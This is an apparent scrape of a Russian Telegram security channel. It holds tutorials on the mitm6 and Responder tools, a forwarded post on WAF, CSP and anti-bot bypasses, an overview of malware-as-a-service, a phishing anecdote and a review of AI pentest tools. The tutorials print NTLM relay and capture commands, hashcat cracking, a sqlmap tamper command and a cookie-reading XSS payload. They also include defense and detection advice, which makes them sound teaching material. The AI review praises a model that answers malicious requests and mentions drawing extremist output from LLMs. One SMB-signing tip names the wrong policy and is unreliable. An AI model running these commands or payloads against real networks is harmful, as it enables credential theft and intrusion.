ОБЗОР УТИЛИТЫ MITM6: ФУНКЦИОНАЛ, АТАКИ И ЗАЩИТА
RedBlue Notes на связи! Сегодня расскажу о утилите, которую стоит запускать при пентесте любой инфраструктуры с Active Directory
ФУНКЦИОНАЛ MITM6
mitm6 - это инструмент для проведения MITM атак в сетях IPv6. Он позволяет эксплуатировать особенности работы протокола NDP (Neighbor Discovery Protocol) для перехвата трафика и потенциального получения учетных данных. mitm6 становится шлюзом по умолчанию для всех IPv6-клиентов в локальной сети. Это достигается путем прослушивания DHCPv6-запросов и отправки поддельных ответов, указывающих атакующего как DNS по умолчанию. После этого весь IPv6-трафик жертв начинает направляться к атакующему💻
АТАКИ С ИСПОЛЬЗОВАНИЕМ MITM6🔓
1. Захват NTLM-хэшей
После того как mitm6 стал DNS-сервером по умолчанию, он может отвечать на DNS-запросы поддельными записями, направляя трафик на контроллер атакующего. Если клиент попытается обратиться к несуществующему ресурсу (например, `wpad.domain.local`), mitm6 может предоставить адрес атакующего, который будет выдавать себя за WPAD-прокси. Это приведёт к автоматической отправке NTLM-аутентификации от клиента, которую можно перехватить
Запускаем mitm6:
Запускаем ntlmrelayx для захвата хэшей:
Ждём....
Теперь, когда клиенты начнут использовать атакующего как DNS-сервер, их попытки аутентификации будут перехватываться и ретранслироваться😼
2. Ретрансляция NTLM-хэшей
С помощью утилиты ntlmrelayx, которая часто используется совместно с mitm6, можно ретранслировать перехваченные NTLM-хэши на другие системы. Это позволяет выполнять атаки на повышение привилегий, например, создание новых пользователей или выполнение команд на удалённых системах🕺
3. Перехват LDAP-трафика
Если клиенты используют IPv6 для связи с контроллерами домена, mitm6 может перенаправить этот трафик через себя, что даёт возможность перехватить LDAP-запросы и потенциально получить доступ к конфиденциальной информации🤫
ЗАЩИТА ОТ MITM6🛡
1. Отключите IPv6 (если не используется)
2. Настройте защиту от поддельных DHCP-ответов и RA-сообщений от неавторизованных источников
3. Использование статических маршрутов и DNS. Это снизит вероятность того, что они примут поддельные настройки от mitm6
4. Мониторьте трафик. Регулярный анализ сетевого трафика на предмет аномалий, таких как неожиданные изменения маршрутов или DNS-запросы к подозрительным адресам, может помочь обнаружить использование mitm6
ДЕТЕКТ MITM6👀
1. Ищите аномальные DHCPv6-ответы в логах, это может указать на использование mitm6. Обратите внимание на новые IPv6-адреса, назначенные вручную и необычные DNS по умолчанию
2. Ищите подозрительные RA-сообщения, аномальные DNS-запросы и ответы
3. Используйте IDS/IPS для отслеживания подозрительных действий, связанных с IPv6 и NDP
Надеюсь, на этот канал подписаны Red и Blue тимеры из одной компании и они начнут играть в кошки-мышки с mitm6 после прочтения этого поста. Да начнутся Голодные игры, и пусть удача всегда будет с вами!🥰
Подписывайтесь на канал, дальше больше!
RedBlue Notes на связи! Сегодня расскажу о утилите, которую стоит запускать при пентесте любой инфраструктуры с Active Directory
Пост имеет ознакомительный характер и предназначена для специалистов по безопасности. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
ФУНКЦИОНАЛ MITM6
mitm6 - это инструмент для проведения MITM атак в сетях IPv6. Он позволяет эксплуатировать особенности работы протокола NDP (Neighbor Discovery Protocol) для перехвата трафика и потенциального получения учетных данных. mitm6 становится шлюзом по умолчанию для всех IPv6-клиентов в локальной сети. Это достигается путем прослушивания DHCPv6-запросов и отправки поддельных ответов, указывающих атакующего как DNS по умолчанию. После этого весь IPv6-трафик жертв начинает направляться к атакующему
АТАКИ С ИСПОЛЬЗОВАНИЕМ MITM6
1. Захват NTLM-хэшей
После того как mitm6 стал DNS-сервером по умолчанию, он может отвечать на DNS-запросы поддельными записями, направляя трафик на контроллер атакующего. Если клиент попытается обратиться к несуществующему ресурсу (например, `wpad.domain.local`), mitm6 может предоставить адрес атакующего, который будет выдавать себя за WPAD-прокси. Это приведёт к автоматической отправке NTLM-аутентификации от клиента, которую можно перехватить
Запускаем mitm6:
mitm6 -d domain.local
Запускаем ntlmrelayx для захвата хэшей:
ntlmrelayx.py -6 -wh attacker_ip -of hashes.txt
Ждём....
Теперь, когда клиенты начнут использовать атакующего как DNS-сервер, их попытки аутентификации будут перехватываться и ретранслироваться
2. Ретрансляция NTLM-хэшей
С помощью утилиты ntlmrelayx, которая часто используется совместно с mitm6, можно ретранслировать перехваченные NTLM-хэши на другие системы. Это позволяет выполнять атаки на повышение привилегий, например, создание новых пользователей или выполнение команд на удалённых системах
ntlmrelayx.py -6 -wh attacker_ip -t smb://target_ip -c "whoami"
3. Перехват LDAP-трафика
Если клиенты используют IPv6 для связи с контроллерами домена, mitm6 может перенаправить этот трафик через себя, что даёт возможность перехватить LDAP-запросы и потенциально получить доступ к конфиденциальной информации
ntlmrelayx.py -6 -wh attacker_ip -t ldaps://target_dc_ip
ЗАЩИТА ОТ MITM6
1. Отключите IPv6 (если не используется)
2. Настройте защиту от поддельных DHCP-ответов и RA-сообщений от неавторизованных источников
3. Использование статических маршрутов и DNS. Это снизит вероятность того, что они примут поддельные настройки от mitm6
4. Мониторьте трафик. Регулярный анализ сетевого трафика на предмет аномалий, таких как неожиданные изменения маршрутов или DNS-запросы к подозрительным адресам, может помочь обнаружить использование mitm6
ДЕТЕКТ MITM6
1. Ищите аномальные DHCPv6-ответы в логах, это может указать на использование mitm6. Обратите внимание на новые IPv6-адреса, назначенные вручную и необычные DNS по умолчанию
2. Ищите подозрительные RA-сообщения, аномальные DNS-запросы и ответы
3. Используйте IDS/IPS для отслеживания подозрительных действий, связанных с IPv6 и NDP
Надеюсь, на этот канал подписаны Red и Blue тимеры из одной компании и они начнут играть в кошки-мышки с mitm6 после прочтения этого поста. Да начнутся Голодные игры, и пусть удача всегда будет с вами!
Подписывайтесь на канал, дальше больше!
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥2
Audio
Вышел вышел вышел!
Ребята, у нас маленький праздник — пятый ЮБИЛЕЙНЫЙ выпуск подкаста🎇
Zero day на завтрак - Нулевой день твоей карьеры
Поговорили по-честному про то, с чего начинается путь в инфобез — какие роли вообще бывают, чем реально занимаются пентестеры, SOC-аналитики, инженеры и прочие кибергерои. Затронули и ИИ — стоит ли его бояться или он просто новый инструмент в арсенале специалиста?
Если соберём 10 лайков, позовём кого-нибудь в гости и устроим киберболталог с живыми историями🔥
Пишите комментарии под выпуском — вдруг есть темы, которые вас давно терзают или хочется обсудить вместе.
Спасибо, что слушаете нас, поддерживаете и остаетесь рядом — это правда очень мотивирует❤️
Наши подкасты можно послушать тут:
🟢 Spotify
🟣 Apple Music
🔵 Web
🟡 Index
______________________________________
P.S
Про лабу помню, обещаю сделаю!
Ребята, у нас маленький праздник — пятый ЮБИЛЕЙНЫЙ выпуск подкаста
Zero day на завтрак - Нулевой день твоей карьеры
Работы сейчас море, но мы нашли время записать выпуск ради вас — наших слушателей и подписчиков. Потому что вы — лучшая часть всего этого проекта
Поговорили по-честному про то, с чего начинается путь в инфобез — какие роли вообще бывают, чем реально занимаются пентестеры, SOC-аналитики, инженеры и прочие кибергерои. Затронули и ИИ — стоит ли его бояться или он просто новый инструмент в арсенале специалиста?
Если соберём 10 лайков, позовём кого-нибудь в гости и устроим киберболталог с живыми историями
Пишите комментарии под выпуском — вдруг есть темы, которые вас давно терзают или хочется обсудить вместе.
Спасибо, что слушаете нас, поддерживаете и остаетесь рядом — это правда очень мотивирует
Наши подкасты можно послушать тут:
______________________________________
P.S
Про лабу помню, обещаю сделаю!
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from NetStalkers
Учёные из Калифорнийского университета провели исследование и офигели:
И это не просто сигналы IoT или погоды — среди утечек:
Профессор UCSD Аарон Шульман признался:
Please open Telegram to view this post
VIEW IN TELEGRAM
От Spotify до RaaS: подписки в эпоху киберпреступности
В отличие от обычного хакера-одиночки, который пишет вирус сам, MaaS позволяет даже с минимальными навыками запускать атаки: всё готово, остались только “подписка + инструкции”.
Как устроена индустрия — роли и экономика🤱
Есть “операторы” – они создают и поддерживают инфраструктуру: сам malware, панели управления (C2), панели поддержки, иногда хостинг, “обезопасенный” хостинг (bulletproof hosting), обновления.
Есть “партнёры” (affiliates) — те, кто арендует, подписывается или покупает доступ, и запускает атаки: шлёт фишинговые письма, ставит бекдоры, крадёт данные, шифрует, требует выкуп.
Способы оплаты и ценообразования:
Подписка на месяц/год.
Лицензия (одноразовая плата) или комиссия с прибыли (например, часть от выкупа при ransomware).
Иногда гибрид: подписка + процент.
Какие типы вредоносного ПО чаще всего “по подписке”🧛
Не только ransomware. MaaS включает:
Infostealers / Stealers — украсть данные: пароли, файлы, учетные записи.
Loaders / Backdoors — программы, через которые дальше завозят другие вредоносные модули.
Ransomware-as-a-Service (RaaS) — шифруют данные и требуют выкуп.
Интересно: исследование Kaspersky показало, что около 58% семейств вредоносного ПО, продаваемого как услуга, приходится на ransomware.
Почему MaaS — это опасно😮
Первое: снижает порог входа. Не нужно быть программистом, не нужно инфраструктуру серьезную строить — подписался, запустил.
Второе: масштаб. Чем проще, тем больше атак. MaaS-операторы часто “обслуживают” множество партнёров, проводят обновления, дают поддержку, кодируют, прописывают инструкции. Поэтому вредоносный софт быстро развивается, постоянно появляются новые версии, новые “фичи”.
Третье: усложнение защиты. Если один и тот же malware-сервис используется в разных атаках, он может скрываться, менять детали — сложнее отследить источник. Плюс использование криптовалют, даркнета, “обезопасенного” хостинга.
Примеры и цифры🤦♂️
Цена инфостилера: ~ 100-300 долларов в месяц.
Были кейсы, когда лоадеры стоили около 4900 долларов в месяц — тут уже сложные инфраструктуры, “всё включено”.
Пример: Agent Tesla — один из таких “продуктов MaaS” с разными тарифами и функциями по подписке.
Реальный пример ущерба😇
В 2021 году через модель RaaS/MaaS атаковали Colonial Pipeline. Компания вынуждена была остановить топливопровод и заплатила хакерам $4,4 млн в биткоинах. Последствия вышли за пределы ИТ: возник дефицит топлива и панические закупки. Другой пример — взлом поставщика ПО Kaseya, где через уязвимость пострадали до 1500 организаций. MaaS позволяет одной подписке на вредоносное ПО масштабировать атаку на сотни компаний одновременно.
Что делать, чтобы защититься?🍞
Общее: Обновление ПО, двухфактор
Слежка за аномалиями: устройства, которые делают странные запросы, которые загружают нечто, что не должно (например, бекдоры), системы EDR/ SIEM.
Проводите контролируемые имитации фишинговых рассылок для повышения осведомлённости пользователей.
Также важно иметь план “если всё же случилось”: бэкапы, которые хранятся отдельно, планы коммуникации, четкий процесс восстановления. Потому что когда есть подписка на вредоносное ПО, атака может быть быстрой и массовой — нужно реагировать быстро.
Ну и подгон для реверсеров и ресерчеров будет -> гит
Подписывайтесь на канал, дальше больше!
В отличие от обычного хакера-одиночки, который пишет вирус сам, MaaS позволяет даже с минимальными навыками запускать атаки: всё готово, остались только “подписка + инструкции”.
Пост имеет ознакомительный характер и предназначена для специалистов по безопасности. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Как устроена индустрия — роли и экономика
Есть “операторы” – они создают и поддерживают инфраструктуру: сам malware, панели управления (C2), панели поддержки, иногда хостинг, “обезопасенный” хостинг (bulletproof hosting), обновления.
Есть “партнёры” (affiliates) — те, кто арендует, подписывается или покупает доступ, и запускает атаки: шлёт фишинговые письма, ставит бекдоры, крадёт данные, шифрует, требует выкуп.
Способы оплаты и ценообразования:
Подписка на месяц/год.
Лицензия (одноразовая плата) или комиссия с прибыли (например, часть от выкупа при ransomware).
Иногда гибрид: подписка + процент.
Какие типы вредоносного ПО чаще всего “по подписке”
Не только ransomware. MaaS включает:
Infostealers / Stealers — украсть данные: пароли, файлы, учетные записи.
Loaders / Backdoors — программы, через которые дальше завозят другие вредоносные модули.
Ransomware-as-a-Service (RaaS) — шифруют данные и требуют выкуп.
Интересно: исследование Kaspersky показало, что около 58% семейств вредоносного ПО, продаваемого как услуга, приходится на ransomware.
Почему MaaS — это опасно
Первое: снижает порог входа. Не нужно быть программистом, не нужно инфраструктуру серьезную строить — подписался, запустил.
Второе: масштаб. Чем проще, тем больше атак. MaaS-операторы часто “обслуживают” множество партнёров, проводят обновления, дают поддержку, кодируют, прописывают инструкции. Поэтому вредоносный софт быстро развивается, постоянно появляются новые версии, новые “фичи”.
Третье: усложнение защиты. Если один и тот же malware-сервис используется в разных атаках, он может скрываться, менять детали — сложнее отследить источник. Плюс использование криптовалют, даркнета, “обезопасенного” хостинга.
Примеры и цифры
Цена инфостилера: ~ 100-300 долларов в месяц.
Были кейсы, когда лоадеры стоили около 4900 долларов в месяц — тут уже сложные инфраструктуры, “всё включено”.
Пример: Agent Tesla — один из таких “продуктов MaaS” с разными тарифами и функциями по подписке.
Реальный пример ущерба
В 2021 году через модель RaaS/MaaS атаковали Colonial Pipeline. Компания вынуждена была остановить топливопровод и заплатила хакерам $4,4 млн в биткоинах. Последствия вышли за пределы ИТ: возник дефицит топлива и панические закупки. Другой пример — взлом поставщика ПО Kaseya, где через уязвимость пострадали до 1500 организаций. MaaS позволяет одной подписке на вредоносное ПО масштабировать атаку на сотни компаний одновременно.
Что делать, чтобы защититься?
Общее: Обновление ПО, двухфактор
Слежка за аномалиями: устройства, которые делают странные запросы, которые загружают нечто, что не должно (например, бекдоры), системы EDR/ SIEM.
Проводите контролируемые имитации фишинговых рассылок для повышения осведомлённости пользователей.
Также важно иметь план “если всё же случилось”: бэкапы, которые хранятся отдельно, планы коммуникации, четкий процесс восстановления. Потому что когда есть подписка на вредоносное ПО, атака может быть быстрой и массовой — нужно реагировать быстро.
Ну и подгон для реверсеров и ресерчеров будет -> гит
Подписывайтесь на канал, дальше больше!
Please open Telegram to view this post
VIEW IN TELEGRAM
👏2🔥1
ОБЗОР УТИЛИТЫ RESPONDER: АТАКИ и ЗАЩИТА
RedBlue Notes на связи😎 😎
Сегодня расскажу о утилите Responder. Это мощный инструмент для проведения атак Man-in-the-Middle (MitM) и захвата учетных данных в сетях с Windows
КАК РАБОТАЕТ RESPONDER?🤓
Когда клиент в сети пытается установить имя хоста, которого нет в DNS, он может использовать LLMNR или NBT-NS для широковещательного запроса. Responder подменяет ответ, утверждая, что он является запрашиваемым хостом. Таким образом, весь трафик, предназначенный для этого сервера, направляется к машине атакующего. При этом клиент пытается пройти аутентификацию, отправляя NTLM хэши, которые Responder перехватывает.
Responder работает, как listener🎧 на ряде сетевых протоколов:
1. LLMNR (Link-Local Multicast Name Resolution)
2. NBT-NS (NetBIOS Name Service)
3. MDNS (Multicast DNS)
4. HTTP/HTTPS
5. SMB
6. LDAP
АТАКИ🔓
1. Захват NTLM-хэшей
Если Responder перехватывает NTLM-хэш, его можно попытаться расшифровать с помощью словарной атаки (например, через hashcat)
2. Relay-атаки (NTLM Relay)
Responder можно сконфигурировать для ретрансляции NTLM-аутентификации на другой хост с помощью флага --lm или через интеграцию с Impacket-ntlmrelayx. Это позволяет выполнять команды на других машинах без знания пароля
3. Атака на WPAD
Если в сети используется WPAD (Web Proxy Auto-Discovery Protocol), Responder может выдавать себя за прокси-сервер, получая все HTTP-запросы жертвы. Это может привести к перехвату учетных данных, cookies и другого чувствительного трафика
4. DNS Poisoning
Responder также может отравлять отравленные DNS-запросы, чтобы перенаправлять внутренний трафик на контроллер атакующего.
5. Комбинация с фишингом
Можно заставить жертву перейти по ссылке на веб, который поднял респондер и так перехватить её хэш, после чего ретранслировать его или брутить
ЗАЩИТА🛡
1. Отключить протоколы LLMNR и NBT-NS на всех устройствах в доменной среде. Это делается через групповые политики
2. Используйте SMB Signing. Это можно настроить через GPO:Computer Configuration -> Policies -> Administrative Templates -> Network -> Lanman Workstation -> Enable insecure guest logons = Disabled
3. Ограничьте использование WPAD, или полностью отключите его
4. Включите логирование и анализ сетевых потоков для выявления подозрительных пакетов LLMNR/NBT-NS
ДЕТЕКТ👀
Сетевые IoC:
1. Появление множественных LLMNR/NBT-NS ответов от разных хостов
2. Неожиданные SMB-соединения между клиентскими машинами
3. Подозрительные DNS-запросы к внутренним доменам
4. Аномальные HTTP-запросы по порту 80/443, особенно к неизвестным хостам
Логи:
1. Журналы событий Windows Security Log Event ID 4624 (Logon Type 3)
2. Sysmon Event ID 3 (Network Connection) — соединения на порты 445, 139, 53, 80, 443 с подозрительных IP
Инструменты обнаружения:
1. Sysmon + WAZUH/ELK/Graylog/Splunk - анализ событий безопасности в реальном времени
2. Zeek/Bro - мониторинг сетевого трафика для выявления аномалий
3. Packetbeat/Wireshark - для глубокого анализа трафика
Red и Blue Team, начинайте свою битву и пусть победит сильнейший🤜
Подписывайтесь на канал, дальше больше!
RedBlue Notes на связи
Сегодня расскажу о утилите Responder. Это мощный инструмент для проведения атак Man-in-the-Middle (MitM) и захвата учетных данных в сетях с Windows
Пост имеет ознакомительный характер и предназначена для специалистов по безопасности. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону
КАК РАБОТАЕТ RESPONDER?
Когда клиент в сети пытается установить имя хоста, которого нет в DNS, он может использовать LLMNR или NBT-NS для широковещательного запроса. Responder подменяет ответ, утверждая, что он является запрашиваемым хостом. Таким образом, весь трафик, предназначенный для этого сервера, направляется к машине атакующего. При этом клиент пытается пройти аутентификацию, отправляя NTLM хэши, которые Responder перехватывает.
Responder работает, как listener
1. LLMNR (Link-Local Multicast Name Resolution)
2. NBT-NS (NetBIOS Name Service)
3. MDNS (Multicast DNS)
4. HTTP/HTTPS
5. SMB
6. LDAP
АТАКИ
1. Захват NTLM-хэшей
Если Responder перехватывает NTLM-хэш, его можно попытаться расшифровать с помощью словарной атаки (например, через hashcat)
sudo responder -I eth0
hashcat -m 5600 -a 0 ntlm_hash.txt wordlist.txt
2. Relay-атаки (NTLM Relay)
Responder можно сконфигурировать для ретрансляции NTLM-аутентификации на другой хост с помощью флага --lm или через интеграцию с Impacket-ntlmrelayx. Это позволяет выполнять команды на других машинах без знания пароля
sudo responder -I eth0 --lm
3. Атака на WPAD
Если в сети используется WPAD (Web Proxy Auto-Discovery Protocol), Responder может выдавать себя за прокси-сервер, получая все HTTP-запросы жертвы. Это может привести к перехвату учетных данных, cookies и другого чувствительного трафика
4. DNS Poisoning
Responder также может отравлять отравленные DNS-запросы, чтобы перенаправлять внутренний трафик на контроллер атакующего.
5. Комбинация с фишингом
Можно заставить жертву перейти по ссылке на веб, который поднял респондер и так перехватить её хэш, после чего ретранслировать его или брутить
ЗАЩИТА
1. Отключить протоколы LLMNR и NBT-NS на всех устройствах в доменной среде. Это делается через групповые политики
2. Используйте SMB Signing. Это можно настроить через GPO:Computer Configuration -> Policies -> Administrative Templates -> Network -> Lanman Workstation -> Enable insecure guest logons = Disabled
3. Ограничьте использование WPAD, или полностью отключите его
4. Включите логирование и анализ сетевых потоков для выявления подозрительных пакетов LLMNR/NBT-NS
ДЕТЕКТ
Сетевые IoC:
1. Появление множественных LLMNR/NBT-NS ответов от разных хостов
2. Неожиданные SMB-соединения между клиентскими машинами
3. Подозрительные DNS-запросы к внутренним доменам
4. Аномальные HTTP-запросы по порту 80/443, особенно к неизвестным хостам
Логи:
1. Журналы событий Windows Security Log Event ID 4624 (Logon Type 3)
2. Sysmon Event ID 3 (Network Connection) — соединения на порты 445, 139, 53, 80, 443 с подозрительных IP
Инструменты обнаружения:
1. Sysmon + WAZUH/ELK/Graylog/Splunk - анализ событий безопасности в реальном времени
2. Zeek/Bro - мониторинг сетевого трафика для выявления аномалий
3. Packetbeat/Wireshark - для глубокого анализа трафика
Red и Blue Team, начинайте свою битву и пусть победит сильнейший
Подписывайтесь на канал, дальше больше!
Please open Telegram to view this post
VIEW IN TELEGRAM
🫡4
Forwarded from CodeGuard: CyberSec Edition
Защитные механизмы, такие как WAF, CSP и антиботы, усложняют тестирование безопасности веб-приложений. Ниже пошаговые техники обхода с примерами команд и инструментов.
sqlmap -u "https://example.com/page?id=1" --tamper=space2comment,chardoubleencode,between --dbms=mysql -v 3
-
space2comment меняет пробелы в запросах на SQL-комментарии, запутывая фильтры - Позволяет обойти стандартные фильтры WAF и выполнить SQL-инъекции
<script src="https://trusted.cdn.com/api?callback=alert(document.cookie)//"></script>
- Используется JSONP-запрос, разрешённый политиками CSP, для выполнения скриптов
- Mutation XSS позволяет модифицировать DOM, обходя CSP
Пример на Python:
from seleniumbase import Driver
driver = Driver(uc=True)
driver.open("https://example.com")
driver.wait_for_element("input[name='username']").send_keys("testuser")
driver.wait_for_element("input[type='submit']").click()
driver.quit()
- Маскирует браузер, позволяя проходить сложные антибот-механизмы
- Генерация запросов, частично похожих на легитимные, для обмана эвристики WAF
- Использование Mutation XSS с динамическими изменениями содержимого
📚 Для самых жестких:
— Ru-brightdata.com
— Codeby.net
Эти методы помогут провести полный, незаметный аудит веб-безопасности и выявить скрытые уязвимости
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from REDtalk (Alexey)
Привет! 👾
Хочу поделится странной и почти удачной попыткой компрометации моей личности нашими зарубежными партнерами.
*️⃣ Шаг 0. Ко мне в метро подошел странно одетый человек в очках, как у кибердеда, и попросил 200р на еду, так как ЗП ему придет только на следующий день. Я решил, что даже если это и скам, 200р мне не жалко. Перевел ему, чтобы посмотреть, что будет.
*️⃣ Шаг 1. На следующий день утром мне позвонил курьер из службы доставки RBT, сказал, что через час будет у меня. На мои возражения о том, что я никого не жду, он ответил, что нужно отменить заказ, и продиктовать код. Я был сонный, продиктовал. После чего звонок был прерван.
*️⃣ Шаг 2. Через 30 секунд я осознал, что наделал, и начал копать. К счастью, код, который я сообщил, был от ЛК на rbt.ru (Скриншот 1). Я сразу же позвонил в техподдержку и удалил личный кабинет.
*️⃣ Шаг 3. Через несколько минут мне на почту пришло письмо с уведомлением о регистрации доверенности. К счастью, к этому времени я уже взбодрился и понял, что письмо фишинговое. Ящик отправителя -
*️⃣ Шаг 4. Я предупредил всех близких и друзей, так как пробив меня, возможно было получить их персональные данные с дальнейшей атакой. На всякий случай проверил кредитную историю и сессии в госуслугах. И как по таймингу, в день разговора с человеком в метро я включил запрет на оформление кредитов (Скриншот 4)
Вывод: Не разговаривать со странно одетыми незнакомыми людьми в 1337 очках. Его ФИО и телефон прилагать не буду, так как не уверен, является ли им тот человек или это левый номер.
P. S. Я не совсем понял прикол с почтой, там же домен
Хочу поделится странной и почти удачной попыткой компрометации моей личности нашими зарубежными партнерами.
info@digitᅟal.gov.ru (Скриншот 2). Также я увидел уведомление от мобильного оператора о спуфинге (Скриншот 3)Вывод: Не разговаривать со странно одетыми незнакомыми людьми в 1337 очках. Его ФИО и телефон прилагать не буду, так как не уверен, является ли им тот человек или это левый номер.
P. S. Я не совсем понял прикол с почтой, там же домен
gov.ru, а дальше рандомный дочерний поддомен. Как они смогли его зарегать? Знающие люди, подскажитеPlease open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🤯5
Если к вам подходит незнакомый дядя и просить денег, лучше не переводить, а дать наличку (если вы широкая душа), так можно избежать шага 0 и всех остальных. Не теряйте бдительность и проверяйте все дважды 😑
Please open Telegram to view this post
VIEW IN TELEGRAM
АХАХАХ, вайб хакинг 😂
Потыкал я этот ваш HexStrike AI в целом, интересный инструмент, есть свои плюсы и минусы (их больше), скоро будет пост про ИИ инструменты для пентетеров, там расскажу про него
Ждите👽 👽
Потыкал я этот ваш HexStrike AI в целом, интересный инструмент, есть свои плюсы и минусы (их больше), скоро будет пост про ИИ инструменты для пентетеров, там расскажу про него
Ждите
Please open Telegram to view this post
VIEW IN TELEGRAM
ИИ ИНСТРУМЕНТЫ ДЛЯ ПЕНТЕСТЕРОВ
RedBlue Notes на связи🤝
Сейчас ИИ на хайпе и появляются утилиты для атак, которые под капотом обращаются к нейросетевым моделям. Сегодня расскажу какие из них я запускал, и какое впечатление у меня о них сложилось. Поехали🚀
PentestGPT
Это, как ChatGPT, Только не отказывает, если спрашивать что-то вредоносное. Есть бесплатная версия с авторизацией через gmail. Ей я и пользовался. В целом - хороший инструмент, для планирования атак. Можно написать что-то вроде: нашёл панель администрирования свича с дефолтными паролями и правами админа, подскажи, как я могу развить эту атаку. Или описать атаку и спросить, как от этого защититься. Ответы реально хорошие, ИИ выдаёт хорошую базу и почти не ошибается. Короче рекомендую👍
Nebula
Работает инструмент так:
1. Надо написать утилиту (nmap, nuclei, crackmapexec и т.п.)
2. Выделить вывод команды и нажать направить в ИИ
3. Справа будет колонка с рассуждениями о том, какие есть уязвимости, и к каким проблемам это может привести
С тем же успехом, можно самому скопировать, отдать модели и попросить рекомендации. Короче, рудимент. Не рекомендую👎
ChatGPTScanner
ИИ для app sec, звучит неплохо, НО работает плохо. На одни и те же входные данные получаем разные ответы. И сиди гадай, какой из выводов более корректный. Ещё, его нельзя запустить на своём ИИ сервере, только на OpenAI, а значит код уходит наружу, что недопустимо для внутренних разработок. Не рекомендую👎
Garak
Ищет уязвимости в языковых моделях. Я уже поздно разбирал его в этом посте. Если вкратце - кроме ответов на экстремистские вопросы ничего добиться не удалось. Проверял на семи языковых моделях🥸
Burp AI
Встроен в Burp Suit. Нужно выбрать alert и в 1 нажатие направить его в ИИ, для дальнейшего анализа, но ничего полезного мне модель так и не выдала, хотя алертов было много и разной направленности. Просто то же самое, что и в алерте, только другими словами. Бесполезный, не рекомендую🙅♂️
HexStrike AI
Запуск: С начала надо запустить HexStrike сервер, а потом клиент (рекомендую 5ire). Далее в 5ire надо добавить HexStrike сервер и api ключ от вашего AI сервера и его языковые модели (добавляйте только GPT, с локальными DeepSeek и llama не работает).
Тот самый вайб хакинг из прошлого поста. Из того, что я пробовал - самый эффективный, но не все промты одинаково эффективны, если просто попросить провести аудит подсети, то модель начнёт придумывать, как это можно сделать, даже пример вывода утилит даст, но это не будет то, что я просил сделать. Работает просьба провести разведку или исполнить CVE из метасплойта. И перед запуском скриптов, утилита показывает, какая функция будет вызвана и спрашивает разрешения на запуск, что достаточно приятно в такого рода утилите. Рекомендую👍
Выводы
До того самого вайб хакинга ещё далеко, и эффективность некоторых инструментов под большим вопросом. Играясь с ИИ можно спокойно потратить в 2 раза больше времени в попытках добиться требоваемых действий, которые можно было бы самому нагуглить и сделать. В моих глазах, для ИБ отрасли ИИ - автоматизация маленьких задач, например написание парсера, а более сложные задачи - решать самому. Но из описанных сегодня инструментов, HexStrike AI - лучшее, что есть на рынке🏆 , хотя и не идеальное
Подписывайтесь на канал, дальше больше!
RedBlue Notes на связи
Сейчас ИИ на хайпе и появляются утилиты для атак, которые под капотом обращаются к нейросетевым моделям. Сегодня расскажу какие из них я запускал, и какое впечатление у меня о них сложилось. Поехали
Пост имеет ознакомительный характер и предназначена для специалистов по безопасности. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону
PentestGPT
Это, как ChatGPT, Только не отказывает, если спрашивать что-то вредоносное. Есть бесплатная версия с авторизацией через gmail. Ей я и пользовался. В целом - хороший инструмент, для планирования атак. Можно написать что-то вроде: нашёл панель администрирования свича с дефолтными паролями и правами админа, подскажи, как я могу развить эту атаку. Или описать атаку и спросить, как от этого защититься. Ответы реально хорошие, ИИ выдаёт хорошую базу и почти не ошибается. Короче рекомендую
Nebula
Работает инструмент так:
1. Надо написать утилиту (nmap, nuclei, crackmapexec и т.п.)
2. Выделить вывод команды и нажать направить в ИИ
3. Справа будет колонка с рассуждениями о том, какие есть уязвимости, и к каким проблемам это может привести
С тем же успехом, можно самому скопировать, отдать модели и попросить рекомендации. Короче, рудимент. Не рекомендую
ChatGPTScanner
ИИ для app sec, звучит неплохо, НО работает плохо. На одни и те же входные данные получаем разные ответы. И сиди гадай, какой из выводов более корректный. Ещё, его нельзя запустить на своём ИИ сервере, только на OpenAI, а значит код уходит наружу, что недопустимо для внутренних разработок. Не рекомендую
Garak
Ищет уязвимости в языковых моделях. Я уже поздно разбирал его в этом посте. Если вкратце - кроме ответов на экстремистские вопросы ничего добиться не удалось. Проверял на семи языковых моделях
Burp AI
Встроен в Burp Suit. Нужно выбрать alert и в 1 нажатие направить его в ИИ, для дальнейшего анализа, но ничего полезного мне модель так и не выдала, хотя алертов было много и разной направленности. Просто то же самое, что и в алерте, только другими словами. Бесполезный, не рекомендую
HexStrike AI
Запуск: С начала надо запустить HexStrike сервер, а потом клиент (рекомендую 5ire). Далее в 5ire надо добавить HexStrike сервер и api ключ от вашего AI сервера и его языковые модели (добавляйте только GPT, с локальными DeepSeek и llama не работает).
Тот самый вайб хакинг из прошлого поста. Из того, что я пробовал - самый эффективный, но не все промты одинаково эффективны, если просто попросить провести аудит подсети, то модель начнёт придумывать, как это можно сделать, даже пример вывода утилит даст, но это не будет то, что я просил сделать. Работает просьба провести разведку или исполнить CVE из метасплойта. И перед запуском скриптов, утилита показывает, какая функция будет вызвана и спрашивает разрешения на запуск, что достаточно приятно в такого рода утилите. Рекомендую
Выводы
До того самого вайб хакинга ещё далеко, и эффективность некоторых инструментов под большим вопросом. Играясь с ИИ можно спокойно потратить в 2 раза больше времени в попытках добиться требоваемых действий, которые можно было бы самому нагуглить и сделать. В моих глазах, для ИБ отрасли ИИ - автоматизация маленьких задач, например написание парсера, а более сложные задачи - решать самому. Но из описанных сегодня инструментов, HexStrike AI - лучшее, что есть на рынке
Подписывайтесь на канал, дальше больше!
Please open Telegram to view this post
VIEW IN TELEGRAM
ZeroNights уже опубликовали список докладов. Солевые приключения, или скользкий мамонт? Выбор за вами🤑
Если хотите увидеть это вживую - ещё можете успеть купить билеты🎟
Если хотите увидеть это вживую - ещё можете успеть купить билеты
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
NetExec в реальной работе: когда инструмент не мешает, а помогает
